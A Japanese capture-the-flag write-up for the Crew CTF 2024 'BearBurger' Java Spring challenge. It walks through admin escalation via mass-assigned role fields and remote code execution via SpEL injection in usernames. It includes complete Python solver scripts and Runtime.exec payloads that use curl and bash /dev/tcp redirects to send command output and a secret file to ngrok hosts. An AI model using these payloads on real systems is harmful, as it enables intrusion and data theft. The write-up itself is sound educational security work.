Crew CTF 2024 - BearBurger (follow up)
(495pts 2/575 クリア率0.35%)
解けなかったけどwriteupは書くシリーズです
色々な料理をみたり料理にコメントしたりできるサイト。
app.warというファイルが配布されるが、これはJavaベースのWebアプリケーションが圧縮されたものらしい。java -jar app.war
というコマンドで実行できた。
配布ファイルはjd-guiというデコンパイラを通すことで、中身を見ることができた。実行コマンドはjd-gui app.war
。
フラグの位置はわからないので、おそらくRCEまで行うことが想定されていそうだ。
✅Step 1: 環境設定
まず、手元で起動しようとしてみたがうまくいかない。データベース関連のエラーが出ていたので、デコンパイラで探してみたところ
spring.datasource.url=${SPRING_DATASOURCE_URL:jdbc:mysql://localhost:3306/BearBurger}
spring.datasource.username=${SPRING_DATASOURCE_USERNAME:BearBurger}
spring.datasource.password=${SPRING_DATASOURCE_PASSWORD:BearBurger@123!@!}
spring.mvc.view.prefix=/WEB-INF/views/
spring.mvc.view.suffix=.jsp
server.error.include-message=always
spring.web.resources.cache.cachecontrol.max-age=369d
server.port=8085
# Hibernate properties
# spring.jpa.hibernate.ddl-auto=update
# spring.jpa.show-sql=true
# spring.jpa.properties.hibernate.format_sql=true
# spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.MySQL8InnoDBDialect
# spring.jpa.open-in-view=false
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.MySQL8Dialect
と、データベースの設定がわかった。ついでにHibernate propertiesのコメントを外すと自動でデータベースの設定を行ってくれそうなので、解凍→書き換え→再圧縮した。
✅Step 2: Admin昇格
AdminユーザーとCustomerユーザーが存在するが、昇格する以外に利用方法はわからないのでAdmin昇格をまず目指す。
/api/v1/admin/make-admin/{id}
というエンドポイントがあるが、
@RequestMapping({"/api/v1/admin"})
public class UserController {
/* snap */
@GetMapping({"/make-admin/{id}"})
String makeAdmin(@PathVariable int id) {
return "Not Developed yet";
}
/* snap */
}
実装されていないので関係がない。
次に、/register
でどのようなフローでユーザーが作成されているかを見てみると、
public class UserServiceImpl implements UserService {
/* snap */
public void registerUser(User user) {
user.setPassword(this.passwordEncoder.encode(user.getPassword()));
this.userRepository.save(user);
this.roleRepository.save(new Role(user.getUserID()));
}
/* snap */
}
public interface UserRepository extends JpaRepository<User, Integer> {
/* snap */
}
ここで、save
はJpaRepository
由来のものであるが、「userが非正規データで、すでにroleの値を持ってsave
を呼び出したら、勝手に正規化してroleを加えてくれるのでは?」という仮説を試してみる。
r = s.post(URL + 'register-action', data = {
""" snap """
'roles[0].name': 'ADMIN',
'roles[0].userID': 1,
'_csrf': csrf,
})
これがうまくいった。
ここまでのソルバー
試しに、出力されるcookieをブラウザに入力するとadminのダッシュボードが表示される
import requests
import re
URL = "http://bearburger.chal.crewc.tf:8085/"
# URL = "http://localhost:8085/"
EVIL = "https://xxx.ngrok.app/"
FILENAME = "tepelchenattack.css"
s = requests.session()
user = {
'username': "tchenattack",
'password': 'password',
}
r = s.get(URL + 'register')
csrf = re.findall('name="_csrf" value="(.+)"', r.text)[0]
r = s.post(URL + 'register-action', data = {
'username': user["username"],
'email': 'tepel@gmail.com',
'password': user["password"],
'cPassword': user["password"],
'phoneNumber': '08010010101',
'gender': 'Male',
'roles[0].name': 'ADMIN',
'roles[0].userID': 1,
'_csrf': csrf,
})
r = s.get(URL + "login")
csrf = re.findall('name="_csrf" value="(.+)"', r.text)[0]
r = s.post(URL + "login", data={
'username': user["username"],
'password': user["password"],
'_csrf': csrf,
})
print(s.cookies["JSESSIONID"])
Step 3: SpELインジェクション
SpELとは、Springフレームワークで利用されるテンプレート言語で、Javaで実行できることは大体できる。
public class UserServiceImpl implements UserService {
/* snap */
@Transactional(readOnly = true)
public List<User> fetchAllUsers() {
List<User> result = this.userRepository.findAll();
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
for (User user : result) {
try {
Expression expression = spelExpressionParser.parseExpression(user.getUsername());
String str = (String)expression.getValue(String.class);
} catch (Exception exception) {}
}
return result;
}
/* snap */
}
これを見る通り、ユーザー名がSpELとして評価されるが、評価された結果をみることはできない。(ので、自分はここに脆弱性がないと考えてしまった。また、ユーザー名は他のプレイヤーから見える要素なので、ここに脆弱性があるのはまずいだろうという甘い考えもあった)
ここやここを見たが、ちょうどいいコマンドが見当たらない。ちゃんと文法を理解する必要がありそうだ。
T(java.lang.Runtime)
のようにすると、クラスを参照することができる。したがって、T(java.lang.Runtime).getRuntime().exec("curl http://xxx.ngrok.app')
を実行すると、RCEを行うことができる。試しに上記のコマンドのユーザー名を作成してみたところ、自分のサーバーにリクエストがとんだ。
ただし、execの結果はstreamでしか受け取れず、これをうまくTCPかHTTPに直接流す方法が見つからなかった。代わりにjava.net.http
を利用することも考えたが、こちらも非同期であるせいかうまく行かなかった。
そこで、どうにかしてシェルコマンドだけで結果の送信まで実行したい。
試しにT(java.lang.Runtime).getRuntime().exec("bash -c \"curl https://xxx.ngrok.app\"")
のようにしてみたが、どうやらスペースで一度分割されてから実行されているみたいで、curl以降の入力を一つの塊としてみてくれない。
したがって、スペースなしで実行する。T(java.lang.Runtime).getRuntime().exec("bash -c {curl,https://xxx.ngrok.app}")
で実行してみると手元ではうまくいった。
これをリモートで実行してみると、結果が返ってこない。どうやらcurl
もwget
もインストールされていないようだ。そこで、ls>/dev/tcp/<IP>/<Port>
とするとlsの結果をtcpで送ることができることを利用する。
以上をまとめると、以下のようなソルバーでフラグを入手できた
import requests
import re
URL = "http://bearburger.chal.crewc.tf:8085/"
# URL = "http://localhost:8085/"
EVIL = "https://tchen.ngrok.pizza/"
s = requests.session()
user = {
'username': "tchenattack",
'password': 'password',
}
r = s.get(URL + 'register')
csrf = re.findall('name="_csrf" value="(.+)"', r.text)[0]
r = s.post(URL + 'register-action', data = {
'username': user["username"],
'email': 'tepel@gmail.com',
'password': user["password"],
'cPassword': user["password"],
'phoneNumber': '08010010101',
'gender': 'Male',
'roles[0].name': 'ADMIN',
'roles[0].userID': 1,
'_csrf': csrf,
})
r = s.get(URL + "login")
csrf = re.findall('name="_csrf" value="(.+)"', r.text)[0]
r = s.post(URL + "login", data={
'username': user["username"],
'password': user["password"],
'_csrf': csrf,
})
# print(s.cookies["JSESSIONID"])
def create_user(shell):
global s
spel = f"""T(java.lang.Runtime).getRuntime().exec("{shell}")"""
r = s.get(URL + "add-user")
csrf = re.findall('name="_csrf" value="(.+)"', r.text)[0]
r = s.post(URL + "api/v1/admin/add-user-action", data = {
'username': spel,
'email': 'tepel@gmail.com',
'password': user["password"],
'cPassword': user["password"],
'phoneNumber': '08010010101',
'gender': 'Male',
'_csrf': csrf,
})
print(r.text)
# create_user(f"bash -c {{ls,-la,/app}}>/dev/tcp/0.tcp.jp.ngrok.io/17991")
create_user(f"bash -c {{cat,/app/some_random_secret_haha.txt}}>/dev/tcp/0.tcp.jp.ngrok.io/17991")
r = s.get(URL + "api/v1/admin/fetch-all-users")
まとめ
- ユーザー入力をORMにそのまま投げつけるのはやめよう!予測できない結果をもたらすことがあるぞ!
- SpELのインジェクションは理解するといろいろできるぞ!実行結果が見れなくても大丈夫だ!
-
/dev/tcp/<IP>/<Port>
は便利そうだぞ! - 非想定解には気をつけよう!
- 人の回答が見えてるときに「ここに答えはないんだな」じゃなくて「もしかしたら答えかもしれない」の疑いをかけよう!
Discussion